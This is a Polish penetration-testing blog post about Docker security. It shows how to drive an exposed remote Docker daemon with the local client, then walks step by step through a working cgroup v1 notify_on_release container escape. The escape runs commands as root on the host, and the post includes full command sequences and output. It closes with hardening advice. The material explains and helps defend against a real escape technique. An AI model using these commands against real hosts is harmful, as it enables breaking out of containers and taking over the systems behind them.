NFsec Logo

Kroniki Shodana: Docker cz.II

31/03/2020 w Pen Test Brak komentarzy.  (artykuł nr 729, ilość słów: 1906)

W

pierwszej części poznaliśmy możliwości zaatakowania niezabezpieczonych API REST daemonów Docker. W tej części dokończymy kilka aspektów powiązanych z poprzednimi metodami. Po pierwsze nie musimy wykonywać wszystkich poleceń za pomocą stricte żądań HTTP – były one wykonane, aby przekazać Czytelnikowi widzę, jak to wygląda z niższego poziomu. Docker posiada własną wersję klienta przeznaczoną do takiej komunikacji. Dlaczego jeśli wskażemy mu zdalny host możemy wydawać wszystkie polecenia za pomocą lokalnego klienta.

export DOCKER_HOST=tcp://XXX.XXX.XXX.XXX
docker ps
CONTAINER ID   IMAGE    COMMAND                  CREATED             STATUS       
ad2dd1a9e9a4   ubuntu   "/bin/bash -c 'apt-g…"   14 minutes ago      Up 14 minutes
docker -H tcp://XXX.XXX.XXX.XXX info
Containers: 2
 Running: 1
 Paused: 0
 Stopped: 1
Images: 5
Server Version: 19.03.5
Storage Driver: overlay2
 Backing Filesystem: extfs
 Supports d_type: true
 Native Overlay Diff: true
Logging Driver: json-file
Cgroup Driver: cgroupfs
Plugins:
 Volume: local
 Network: bridge host ipvlan macvlan null overlay
 Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog
Swarm: inactive
Runtimes: runc
Default Runtime: runc
Init Binary: docker-init
containerd version: b34a5c8af56e510852c35414db4c1f4fa6172339
runc version: 3e425f80a8c931f88e6d94a8c831b9d5aa481657
init version: fec3683
Security Options:
 seccomp
  Profile: default
Kernel Version: 3.10.0-1062.9.1.el7.x86_64
Operating System: CentOS Linux 7 (Core)
OSType: linux
Architecture: x86_64
CPUs: 1
Total Memory: 991MiB
Name: iZ2vc32pj1uo2aglkdjv9sZ
ID: YED4:X7K3:D5FV:W5RH:NH25:XU56:6UW7:PCQP:W26U:SGZ6:MFRH:S6TL
Docker Root Dir: /var/lib/docker
Debug Mode (client): false
Debug Mode (server): false
Registry: https://index.docker.io/v1/
Labels:
Experimental: false
Insecure Registries:
 127.0.0.0/8
Live Restore Enabled: false

Po drugie kontenerów nie należy traktować jako remedium bezpieczeństwa typu: „umieszczę to w kontenerze, więc nawet jak ktoś uzyska prawa administratora to nic się nie stanie, bo to odizolowany kontener”. Problem w tym, że kontenery same w sobie – jeśli są niepoprawnie używane i skonfigurowane mogą stanowić niebezpieczeństwo dla systemu pod którego są kontrolą. Dla przykładu: niedawny tweet Felixa Wilhelma pokazał metodę ucieczki z uprzywilejowanego poda (Kubernetes) lub kontenera (Docker):

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps >'"$t/o" >/c;
chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Kod ten przeprowadza dowód koncepcji (ang. Proof Of Concept (PoC)), który uruchamia polecenie ps na hoście utrzymującym kontenery. Sam kontener Dockera został uruchomiony z flagą --privileged i poprzez nadużycie funkcjonalności cgroup v1 notification on release (notify_on_release) jest w stanie wykonać polecenie na hoście. Dlaczego flaga --privileged powoduje zawsze tyle problemów? Ponieważ kontenery mogące skorzystać z tej opcji zyskują pełny dostęp do wszystkich urządzeń i nie są ograniczane funkcjami pochodzącymi z seccomp, AppArmor oraz Linux CAPabilities.

Analiza ucieczki:

Docker pozwala na szczegółowe ustawienia, które niezależnie kontrolują uprawnienia kontenerów. Przed rozpoczęciem używania kontenerów dobrze jest zrozumieć, jak one działają. Poniżej postaramy się przeanalizować, jak dokładnie doszło do w/w ucieczki i jakie niebezpieczne ustawienia pozwoliły na to zjawisko. W rzeczywistości opcja --privileged zapewnia znacznie szersze uprawnienia niż jest to konieczne do opuszczenia kontenera, ale pozwala bardzo szybko uruchomić kontener gotowy do ucieczki. Jeśli przyjrzymy się temu bliżej to w rzeczywistości „jedynymi” wymogami do ucieczki są:

  • Musimy posiadać uprawnienia administratora (root) wewnątrz kontenera,
  • Kontener musi być uruchomiony z zdolnością Linuksa: CAP_SYS_ADMIN,
  • Kontener nie może być pod kontrolą AppArmor, a jeśli jest to musi mieć możliwość wywołania systemowego mount,
  • Wirtualny system plików cgroup v1 musi być zamontowany w trybie tylko do odczytu wewnątrz kontenera.

Możliwość CAP_SYS_ADMIN pozwala kontenerowi wykonać wywołanie systemowe mount. Docker domyślnie uruchamia kontenery z ograniczonym zestawem funkcji i nie włącza możliwości CAP_SYS_ADMIN ze względu na ryzyko związane z bezpieczeństwem. Ponadto kontenery Dockera uruchamiane są z standardowym profilem AppArmor o nazwie docker-default, co uniemożliwia użycie polecenia montowania, nawet gdy kontener jest uruchomiony z możliwością CAP_SYS_ADMIN. Dlatego, jeśli chodzi o szczegóły to, aby ucieczka była możliwa wystarczy wystartować kontener z flagami: --security-opt apparmor=unconfined --cap-add=SYS_ADMIN.

Grupy kontrole Linuksa (ang. Linux control groups) – cgroups w wersji pierwszej (v1) są jednym z mechanizmów, za pomocą którego izolowane są kontenery. Powyższy kod nadużywa funkcjonalności replace_on_release, aby uruchomić się jako w pełni uprzywilejowany użytkownik root:

Jeśli faga notify_on_release w ce’grupie jest włączona (1), wtedy gdy ostatnie zadanie opuści ce’grupę (poprzez wyjście lub dołączenie do innej ce’grupy), a potomna ce’grupa tej ce’grupy zostanie usunięta wówczas jądro uruchamia polecenie określone przez zawartość pliku release_agent w głównym katalogu tej hierarchii, dostarczając ścieżkę dostępu (względem punktu montowania systemu plików ce’grupy) opuszczonej ce’grupy. Umożliwia to automatyczne usuwanie opuszczonych ce’group. Domyślna wartość flagi notify_on_release głównej ce’grupy podczas uruchamiania systemu jest ustawiona na 0 (wyłączona). Domyślną wartością innych ce’grup podczas ich tworzenia jest bieżąca wartość flagi notify_on_release ich rodziców. Domyślna wartość ścieżki pliku release_agent hierarchii ce’grupy jest pusta.

Posiadając tę wiedzę możemy przepisać kod eksploita, aby nie używał flagi --privileged. Będzie to wymagało dodania jednej linii kodu więcej ze względu na konieczność samodzielnego zamontowania systemu plików ce’grupy. Poniższy kod wykona polecenie ps aux na hoście utrzymującym kontener, a jego wynik zostanie zapisany do pliku /output na kontenerze. Używa on tej samej funkcjonalności notify_on_release, co oryginalny kod:

# Uruchamiamy kontener na serwerze
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined \
ubuntu /bin/bash
# Z poziomu kontenera wydajemy polecenia
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && \
mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

W celu uruchomienia tego kodu potrzebujemy ce’grupę, w której możemy stworzyć plik release_agent oraz wywołać jego zawartość poprzez zabicie wszystkich procesów w jego potomnej ce’grupie. Najprostszym sposobem na osiągnięcie tego efektu jest zamontowanie kontrolera ce’grupy i utworzenie grupy potomnej. Dlatego pod katalogiem /tmp/cgrp mountujemy kontroler RDMA ce’grupy i tworzymy grupę potomną (o nazwie „x”). W przypadku, gdybyśmy otrzymali komunikat błędu:

mount: /tmp/cgrp: special device cgroup does not exist

Zamiast kontrolera RDMA możemy wykorzystać kontroler memory. Należy pamiętać, że kontrolery ce’grup są globalnymi zasobami, które mogą być montowane wielokrotnie z różnymi uprawnieniami, a zmiany wprowadzone w jednym montowaniu będą miały odbicie w kolejnych. Przejdźmy teraz do tworzenia grupy potomnej o nazwie „x”:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && \
mkdir /tmp/cgrp/x
ls /tmp/cgrp
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior
notify_on_release  release_agent  tasks  x
ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release
rdma.current  rdma.max  tasks

Jak mogliśmy się wcześniej dowiedzieć ustawienia funkcji notify_on_release są dziedziczone z grupy macierzystej (a ta ma wartość „0”) – dlatego musimy włączyć powiadomienia w ce’grupie „x” poprzez zapisanie jedynki (1) w pliku notify_on_release. Ustawiamy także zawartość pliku release_agent w ce’grupie macierzystej tak, aby wykonał skrypt znajdujący się w ścieżce /cmd (później tworzymy go w kontenerze). W tym celu pobieramy ścieżkę do kontenera na obsługującym go hoście z pliku /etc/mtab kontenera i umieszczamy ją wraz z sufiksem /cmd w pliku release_agent (pliki, które dodajemy lub modyfikujemy w kontenerze są obecne na hoście i możliwa jest ich modyfikacja z obu poziomów: ścieżki dostępu w kontenerze i ścieżki dostępu na hoście):

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
echo $host_path
/var/lib/docker/overlay2/f81d7e4c89612de37564d9762e0769/diff
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/f81d7e4c89612de37564d9762e0769/diff/cmd

Teraz możemy utworzyć skrypt /cmd, który wykona polecenie ps aux i zapisze jego wynik w pliku /output na kontenerze (my określimy pełną ścieżkę do pliku, aby była widziana na hoście):

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/f81d7e4c89612de37564d9762e0769/diff/output

Ostatnim etapem do przeprowadzenia ucieczki jest stworzenie procesu, który natychmiast zakończy się wewnątrz potomnej ce’grupy „x” i tym samym uruchomi zawartość pliku release_agent ce’grupy macierzystej. Stworzymy więc „pusty” proces z poziomu powłoki /bin/sh, który zapisze tylko swój PID w pliku cgroups.procs ce’grupy „x” i wyjdzie pozostawiając ją pustą / opuszczoną. Gdy tylko to się stanie zostaje wykonany skrypt z /cmd, który zapisze wynik polecenia ps aux (uruchomiony z prawami administratora) w pliku /output na kontenerze:

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2  77928  9044 ?        Ss   20:05   0:01 /sbin/init maybe-ubiquity
root         2  0.0  0.0      0     0 ?        S    20:05   0:00 [kthreadd]
root         4  0.0  0.0      0     0 ?        I<   20:05   0:00 [kworker/0:0H]
root         5  0.0  0.0      0     0 ?        I    20:05   0:00 [kworker/u2:0]
root         6  0.0  0.0      0     0 ?        I<   20:05   0:00 [mm_percpu_wq]
root         7  0.0  0.0      0     0 ?        S    20:05   0:00 [ksoftirqd/0]
root         8  0.0  0.0      0     0 ?        I    20:05   0:00 [rcu_sched]
root         9  0.0  0.0      0     0 ?        I    20:05   0:00 [rcu_bh]
root        10  0.0  0.0      0     0 ?        S    20:05   0:00 [migration/0]

Podsumowanie:

Oprócz sugestii z części pierwszej pamiętajmy, że Docker domyślnie ogranicza i limituje kontenery. Rozluźnianie tych ograniczeń może powodować problemy z bezpieczeństwem nawet bez użycia flagi --privileged. Ważnym krokiem w procesie przyznawania każdego, dodatkowego uprawnienia jest weryfikacja jego dokładnych możliwości. Podobnie jak przy budowaniu zapór ogniowych - powinniśmy ograniczyć się do niezbędnego minimum. Na początek możemy zrzucić wszystkie zdolności Linuksa (--cap-drop=all) i zezwolnić (--cap-add=...) tylko na te, które są niezbędne. Wiele przypadków nie potrzebuje żadnych zdolności Linuksa, a dodawanie ich zwiększa zakres potencjalnego ataku. Dodatkowo możemy użyć opcji bezpieczeństwa no-new-privileges, aby uniemożliwić procesom uzyskiwanie większych uprawnień (na przykład poprzez binarki suid) oraz dostosować profile seccomp, czy AppArmor w celu ograniczenia kontenerów na poziomie wywołań systemowych. Szczególnie nie powinniśmy uruchamiać procesów naszych aplikacji / daemonów jako administrator - tylko jako zwykły użytkownik lub przemapować ich uprawnienia na hoście.

Więcej informacji: Hacking Docker Remotely, Understanding Docker container escapes

Kategorie K a t e g o r i e : Pen Test

Tagi T a g i : , , , , , , , , ,

Brak nowszych postów

Komentowanie tego wpisu jest zablokowane.